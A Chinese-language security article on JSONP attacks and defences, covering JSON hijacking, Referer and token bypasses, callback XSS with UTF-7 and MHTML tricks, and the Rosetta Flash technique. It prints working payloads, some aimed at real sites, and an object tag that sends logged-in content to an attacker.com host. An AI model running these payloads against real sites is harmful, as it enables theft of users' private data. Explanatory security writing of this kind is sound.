JSONP 安全攻防技術(JSON劫持、 XSS漏洞)

關於 JSONPjavascript

JSONP 全稱是 JSON with Padding ,是基於 JSON 格式的爲解決跨域請求資源而產生的解決方案。他實現的基本原理是利用了 HTML 裏 <script></script> 元素標籤,遠程調用 JSON 文件來實現數據傳遞。如要在 a.com 域下獲取存在 b.com 的 JSON 數據( getUsers.JSON ):php

{"id" : "1","name" : "知道創宇"}

那麼他們能夠首先經過 JSONP 的「 Padding 」這個 getUsers.JSON 輸出爲:html

callback({"id" : "1","name" : "知道創宇"}); 

對於實際應用過程當中 callback 的名稱在後臺實現是動態輸出的。如上面例子在 PHP 實現:java

1
2
3
4
5
<?php
//getUsers.php
$callback  $_GET [ 'callback' ];
print  $callback  '({"id" : "1","name" : "知道創宇"});' ;
?>

而後在 a.com 使用 <script> 進行遠程調用,在 Jquery 裏能夠直接這樣調用:jquery

<script type="text/javascript" src="http://mini.jiasule.com/framework/jquery/1.9.1/jquery-1.9.1.js"></script>
<script type="text/javascript">
    $.getJSON("http://www.b.com/getUsers.php?callback=?", function(getUsers){
          alert(getUsers.name);
    });
</script>

然而,安全問題一直都是伴隨着業務發展而出現的,JSONP 的出現一樣帶來了各類各樣的安全問題。本文對 JSONP 實現過程當中給帶來的安全攻防問題作了一些簡單介紹。express

 

1、JSON 劫持json

JSON 劫持又爲「 JSON Hijacking 」,最開始提出這個概念大概是在 2008 年國外有安全研究人員提到這個 JSONP 帶來的風險。其實這個問題屬於 CSRF( Cross-site request forgery 跨站請求僞造)攻擊範疇。當某網站聽過 JSONP 的方式來快域(通常爲子域)傳遞用戶認證後的敏感信息時,攻擊者能夠構造惡意的 JSONP 調用頁面,誘導被攻擊者訪問來達到截取用戶敏感信息的目的。一個典型的 JSON Hijacking 攻擊代碼:跨域

<script>
function wooyun(v){
    alert(v.username);
}
</script>
<script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>

這個是在烏雲網上報告的一個攻擊例子( WooYun-2012-11284 )http://www.wooyun.org/bug.php?action=view&id=11284 當被攻擊者在登錄 360 網站的狀況下訪問了該網頁時,那麼用戶的隱私數據(如用戶名,郵箱等)可能被攻擊者劫持。瀏覽器

雖然這種攻擊已經出現了好幾年了,可是目前在大的門戶網站都還廣泛存在的,並且因爲安全意識問題不少官方可能還不認爲這是一個安全問題,上面提到的例子其實當時在烏雲網站上 360 是忽視了的!安全

固然仍是隨着安全意識和技術水平的提升,不少甲方公司開始重視此類安全問題,開始着手研究解決方案。其中一個方案就是驗證 JSON 文件調用的來源( Referer )。這個方案是主要利用了 <script> 遠程加載 JSON 文件時會發送 Referer ,在網站輸出 JSON 數據時判斷 Referer 是否是白名單合法的就能夠進行防護!這個方法是可行的,可是具體實現過程當中又容易致使 2 總常見的邏輯問題:

一、Referer 過濾(正則)不嚴謹

好比 http://www.qq.com/login.php?calback=cb 輸出數據時,使用了 Referer 過濾。可是惋惜過濾的時候只過濾了 Referer 裏是否存在 qq.com 這樣的關鍵詞,那麼攻擊者能夠聽過構造 URL:http://www.qq.com.attack.com/attack.htm  或者 http://www.attack.com/attack.htm?qq.com 這樣的頁面來發起攻擊實現繞過 Referer 防護。

二、空 Referer

在不少狀況下,開發者在部署過濾 Referer 來源時,忽視了一個空 Referer 的過濾。通常狀況下瀏覽器直接訪問某 URL 是不帶 Referer 的,因此不少防護部署是容許空 Referer 的。偏偏也就是這個忽視,致使了整個防護的奔潰。由於在經過跨協議調用 js 時,發送的 http 請求裏 Referer 爲空! 跨協議調用的一個簡單例子:

1
< iframe  src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</ script >< script  src=http://www.qq.com/login.php?calback=JSON></ script >'"></ iframe >

代碼裏咱們使用 <iframe> 調用 javscript 僞協議來實現空 Referer 調用 JSON 文件。

另一種防護手段就是經過隨機 token 來防護,這個技術在 qq 的網站上應用比較多,如:http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=[QQ號碼]&g_tk=[隨機token] 來輸出 JSON ,一樣這個方案也是效的,可是一樣能夠出現防護實現的不嚴謹問題。如這個 token 能夠暴力。如:

function _Callback(o) {
	alert(o.items[0].uin);
}
for (i = 17008; i < 17009; i++) { //暴力循環調用
	getJSON("http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=1111111&g_tk=" + i);
}

固然以上的方式是單純的針對「 JSON 劫持」自己的來展開的各類攻防戰。可是在現實裏,不少漏洞是配合組合來實現突破的,好比上面提到的限制 Referer+ 部署隨機 token 實現都很完美,無懈可擊!可是隻要在該網站上出現一個 XSS 漏洞,那麼利用這個 XSS 漏洞可能讓你的防護體系瞬間崩潰! 另外這裏順帶提一點:以上的方法是一些通用實現「 JSON 劫持」的方法,可是現實中某些瀏覽器的一些特有的處理機制(如 CSS 加載,錯誤信息顯示等),致使一些相似「 JSON 劫持」(攻擊對象不必定是 JSON )的攻擊!

 

2、Callback 可定義致使的安全問題

在本文開頭介紹 JSON 原理的就說明了多是爲了方便前段開發調用,通常輸出時都是可定義的,開頭提到的 php 實現的代碼:

1
2
3
4
5
<?php
//getUsers.php
$callback  $_GET [ 'callback' ];
print  $callback  '({"id" : "1","name" : "知道創宇"});' ;
?>

也就是這個可定義化的 callback 名輸出點又致使了各類安全問題,固然嚴格上來講裏面提到的具體數據輸出也是能夠利用的,只是本文重點強調的 callback 這個輸出點。

一、Content-Type 與 XSS 漏洞

在早期 JSON 出現時候,你們都沒有合格的編碼習慣。再輸出 JSON 時,沒有嚴格定義好 Content-Type( Content-Type: application/json )而後加上 callback 這個輸出點沒有進行過濾直接致使了一個典型的 XSS 漏洞,上面演示的 getUsers.php 就存在這個問題:

1
http://127.0.0.1/getUsers.php?callback=< script >alert(/xss/)</ script >

對於 Content-Type 來講早期還有一部分人比較喜歡使用 application / javascript  而這個頭在 IE 等瀏覽器下同樣能夠解析 HTML 致使 XSS 漏洞。對於這種類型的漏洞,防護主要是從兩個點去部署的:

a、嚴格定義 Content-Type: application / json

這樣的防護機制致使了瀏覽器不解析惡意插入的 XSS 代碼(直接訪問提示文件下載)。可是凡事都有個案,在 IE 的進化過程當中就出現過經過一些技巧繞過 Content-Type 防護解析 html ,好比在 IE六、7 等版本時請求的 URL 文件後面加一個 /x.html 就能夠解析 html ( http://127.0.0.1/getUsers.php/x.html?callback=<script>alert(/xss/)</script>  ) 具體參考:http://hi.baidu.com/hi_heige/item/f1ecde01c4af3ed61ef04646

b、過濾 callback 以及 JSON 數據輸出

這樣的防護機制是比較傳統的攻防思惟,對輸出點進行 xss 過濾。又是一個看上去很完美的解決方案,可是每每都是「事與願違」。當年( 2011 年)一個 utf7-BOM 就復活了 n 個 XSS 漏洞。這種攻擊方式主要仍是存在與 IE 裏(注在 IE 較新版本里已經「修復」) 也就是當咱們在 callback 點輸出 +/v8 這樣的 utf7-BOM 的時候, IE 瀏覽器會把當前執行的編碼認爲是 utf7 ,因此咱們經過 utf7 提交的 XSS 代碼會被自動解碼並執行。如:

1
2
3
4
http://127.0.0.1/getUsers.php?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA
8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApA
DsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHk
APgA8AC8AaAB0AG0APg-%20

其中:

1
2
3
4
5
%2B%2Fv8
%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAY
wByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAv
AHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8
AaAB0AG0APg-%20

URLdecode 爲:

1
2
3
4
5
+/v8
+ADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAY
wByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADs
APAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkA
HkAPgA8AC8AaAB0AG0APg-

其中 +/v8  爲 utf7-BOM ,後面的爲咱們注入的 utf-7 編碼後的 XSS 代碼的:

1
< htm >< body >< script >alert(1);</ script ></ body ></ htm >

[參考:http://hi.baidu.com/hi_heige/item/357831ab6932239a14107346]

此次利用 utf7-BOM 的方法是一個很是有表明性的通用方法,IE 後面的升級也是作必定的防護,另外在開發者角度也給出了防護方法直接強制指定 Content-Type裏的編碼 ( Content-Type: application/json; charset=utf-8 )  對於如今的瀏覽器上,雖然沒有比較通用的技巧,可是對於開發者本事過濾的機制同樣可能存在各類繞過的可能。

看來上面提到的 a 和 b 兩點的防護缺一均可能出問題,那麼咱們使用「 a + b 方案」,也就是二者都上是否是很安全了不會出現問題了呢?一切皆有可能,咱們拭目以待!

 

3、其餘文件格式( Content-Type )與 JSON

一、MHTML 與 JSONP

在 2011 年 IE 曾經出現過一個聽過 mhtml 協議解析跨域的漏洞:MHTML  Mime-Formatted Request Vulnerability  ( CVE-2011-0096 )  https://technet.microsoft.com/library/security/ms11-026 而當時的一個常見利用就是利用 JSONP 調用機制裏的 Callback 函數名輸出點:

1
2
3
4
5
6
7
8
9
<iframe src="mhtml:http://127.0.0.1/getUsers.php?callback=Content-Type%3A%20multipart%2Frelated%3B%20boundary%3D_boundary_by_mere%0D%0A%0D%0A--_boundary_by_mere%0D%0AContent-Location%3Acookie%0D%0AContent-Transfer-
Encoding%3Abase64%0D%0A%0D%0APGJvZHk%2BDQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly93d3cuODB2d
WwuY29tLyI%2BPC9pZnJhbWU%2BDQo8c2NyaXB0Pg0KYWxlcnQoZG9jdW1lbnQuY29va2ll
KTsNCmZ1bmN0aW9uIGNyb3NzY
29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA%2FIGlmci5jb250ZW50V2luZG93I
DogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5
kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjc
m9zc2Nvb2tpZSgpIiwxMDAwKTsNC
jwvc2NyaXB0PjwvYm9keT4NCg%3D%3D%0D%0A--_boundary_by_mere--%0D%0A!cookie"></iframe>

[詳見: 《Hacking with mhtml protocol handler》http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt]

這個點就充分利用了 callback 輸出點直接輸出一個 mhtml 文件格式,而後利用 <iframe> 調用 mhtml 標籤解析並執行 html 及 javascript 代碼,這也就是一個通用性的 XSS 漏洞( UXSS ),隨後微軟緊急推出瞭解決方案及漏洞補丁程序!而對於開發者防護而已在微軟推出安全補丁以前這個漏洞影響 Google 等國際大型網站,到時 Google 爲了防護這類補丁,啓用的防護措施是,在 JSON 輸出 callback 時,在文件開頭增長了多個換行回車讓遠程 mhtml 調用時解析失敗。

在攻擊角度來講,這個充分利用了計算機體系裏各類文件格式識別機制,這個也和 Callback 直接在 json 文件開頭輸出的忽然優點!在這個思惟的引導下,後面還出現各類各樣的文件格式加載帶來的安全問題,好比 CSS 文件格式加載致使的類「 JSON 劫持」的安全問題、JS 加載及各類文件格式編碼帶來的安全問題等等。歷史進程裏每每會出現各類驚人的相識,JSONP 與文件格式的各類傳奇還在上演...

二、FLASH 與 JSONP

該來的始終會來,只是沒想到類似的場景上演到這麼快!就在最近的一次 flash 安全更新 ( security bulletin APSB14-17[http://helpx.adobe.com/security/products/flash-player/apsb14-17.html] ) 裏修復了一個安全漏洞:

These updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs ( CVE-2014-4671 ).

而這個漏洞因影響到 Google、Facebook、Tumblr 等國際大網站而倍受國內外媒體的關注。而這個攻擊技術就和 JSONP 的 callback 點息息相關. 這個問題主要存在 HTML 經過<embed>、<object>調用遠程 flash 文件時,會直接忽視 Content-Type 而 JSONP 的 callback 輸出通常都在文件開頭就輸出,那麼徹底能夠經過 callback 點輸出一個 swf 的文件,然遠程 html 調用並運行 swf 文件。如:

<script>
// from http://50.56.33.56/blog/?p=242
var flashvars = {};
var params = {};                    
var attributes = {};
var url="http://127.0.0.1/getUsers.php?callback=CWS%07%AA%01%00%00x%DADP%C1N%021%14%9C%ED%22-j0%21%24%EB%81%03z%E3%E2%1F%18XI%88%1E%607%C0%C1%8B%D9%ACP%91X%ECf%A9%01%BF%40N%1C%F7%E6%DD%CF%F1%8F%F0%B5K%E2%3BL%DFL%DA%E9%9B%B7%05%FF%05%82%0Chz%E8%B3%03U%AD%0A%AA%D8%23%E8%D6%9B%84%D4%C5I%12%A7%B3%B7t%21%D77%D3%0F%A3q%A8_%DA%0B%F1%EE%09gpJ%B2P%FA9U0%2FHr%AD%0Df%B9L%8D%9C%CA%AD%19%2C%A5%9A%C3P%87%7B%A9%94not%AE%E6%ED%2Bd%B96%DA%7Cf%12%ABt%F9%8E4%CB%10N%26%D2%C4%B9%CE%06%2A%5D%ACQ0%08%B4%1A%8Do%86%1FG%BC%96%93%F6%C2%0E%C9%3A%08Q%5C%83%3F2%80%B7%7D%02%2B%FF%83%60%DC%A6%11%BE%7BU%19%07%F6%28%09%1B%15%15%88%13Q%8D%BE%28ID%84%28%1F%11%F1%82%92%88%FD%B9%0D%EFw%C0V34%8F%B3%145%88Zi%8E%5E%14%15%17%E0v%13%AC%E2q%DF%8A%A7%B7%01%BA%FE%1D%B5%BB%16%B9%0C%A7%E1%A4%9F%0C%C3%87%11%CC%EBr%5D%EE%CA%A5uv%F6%EF%E0%98%8B%97N%82%B9%F9%FCq%80%1E%D1%3F%00%00%00%FF%FF%03%00%84%26N%A8";
swfobject.embedSWF(url, "content", "400", "200", "10.0.0", "expressInstall.swf", flashvars, params, attributes);
</script>

這樣早在 2012 年提出的經過 callback 輸出的 swf 文件流,的實際效果是在被攻擊的網站上存放了一個惡意的 swf 文件,而 html 遠程調用這個 swf 文件能夠直接致使 CSRF 攻擊.
[具體上傳 flash 文件帶來的 CSRF 攻擊請參考我寫的《 Flash+Upload Csrf  攻擊技術》 http://blog.knownsec.com/2014/06/flashupload_csrf_attacking/]

細心的朋友可能發現上面代碼裏 callback 輸出的 swf 文件流裏存着各類各樣的特殊字符,這個對於上面提到的「 b、過濾 callback 以及 JSON 數據輸出」防護方案直接給攔截了,對於 Goolge 、Facebook 這樣久經考驗的大網站來講,防護應該不在話下!

在 flash 的更新「 security bulletin APSB14-17 」發佈後,該漏洞發現者給出了詳細的漏洞細節其中一個亮點就是做者實現了一個純 alphanumeric 輸出的 swf 文件的方法,如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<object type="application/x-shockwave-flash"
data="https://vulnerable.com/endpoint?callback=CWSMIKI0hCD0Up0IZ
UnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03sDDtDDDt0
333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU
5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqefXAxooooD0Ciud
IbEAt33swwEpt0GDG0GtDDDtwwGGGGGsGDt33333www033333GfBDTHHHHUhHHHe
RjHHHhHHUccUSsgSkKoE5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YN
qdIbe13333333333sUUe133333Wf03sDTVqefXA8oT50CiudIbEAtwEpDDG033sD
DGtwGDtwwDwttDDDGwtwG33wwGt0w33333sG03sDDdFPhHHHbWqHxHjHZNAqFzAH
ZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMHbBRrHyVQfDQflqzfHLTrHAqzf
HIYqEqEmIVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnnnnnnnnnnnnnnnnnnU
U5nnnnnn3Snn7CiudIbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0GDtDDDGGDD
GDDtDD33333s03GdFPXHLHAZZOXHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAwX
HLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgbHHhHDEHXkKSHuHwXHLXAwXHLTMZOX
HeHwtHtHHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLTMwlHtxHHHDxLlCvm7D0U
p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG33ww0sDtDt0
333GDw0w33333www033GdFPDHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUnnn
nnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwWtD333wwG03www0GDGpt03w
DDDGDDD33333s033GdFPhHHkoDHDHTLKwhHhzoDHDHTlOLHHhHxeHXWgHZHoXHTH
No4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33wwE03GDDG
wGGDDGDwGtwDtwDDGGDDtGDwwGw0GDDw0w33333www033GdFPHLRDXthHHHLHqee
orHthHHHXDhtxHHHLravHQxQHHHOnHDHyMIuiCyIYEHWSsgHmHKcskHoXHLHwhHH
voXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3
SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooooooooooooooooooo
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo8
88888880Nj0h"
style="display: none">
<param name="FlashVars"
value="url=https://vulnerable.com/account/sensitive_content_logged_in
&exfiltrate=http://attacker.com/log.php">
</object>

具體請參考:http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/

因此對於純 alphanumeric 的輸出來講,那些針對 XSS 的過濾顯然是能夠直接忽略,這個漏洞也就是證實了上面咱們提到的「 a + b 方案」直接繞過了!

 

4、防護

經過上面的攻防對抗演練,不少開發者可能會感受有點悲劇的味道,各類防護機制好像都有辦法繞過。這裏我想到一個真理:沒有絕對的安全!那麼咱們防護的意義在哪裏呢?我認爲防護的意義就是雖然沒辦法讓開發的程序最安全(絕對安全),可是可讓它更安全!提升攻擊者的技術成本的門檻是安全防護的一個主要的重要的方向。咱們回到具體的 JSONP 防護上能夠總結以下幾點:

一、嚴格安全的實現 CSRF 方式調用 JSON 文件:限制 Referer 、部署一次性 Token 等。二、嚴格安裝 JSON 格式標準輸出 Content-Type 及編碼( Content-Type : application/json; charset=utf-8 )。三、嚴格過濾 callback 函數名及 JSON 裏數據的輸出。四、嚴格限制對 JSONP 輸出 callback 函數名的長度(如防護上面 flash 輸出的方法)。五、其餘一些比較「猥瑣」的方法:如在 Callback 輸出以前加入其餘字符(如:/**/、回車換行)這樣不影響 JSON 文件加載,又能必定程度預防其餘文件格式的輸出。還好比 Gmail 早起使用 AJAX 的方式獲取 JSON ,聽過在輸出 JSON 以前加入 while(1) ;這樣的代碼來防止 JS 遠程調用。

相關文章
相關標籤/搜索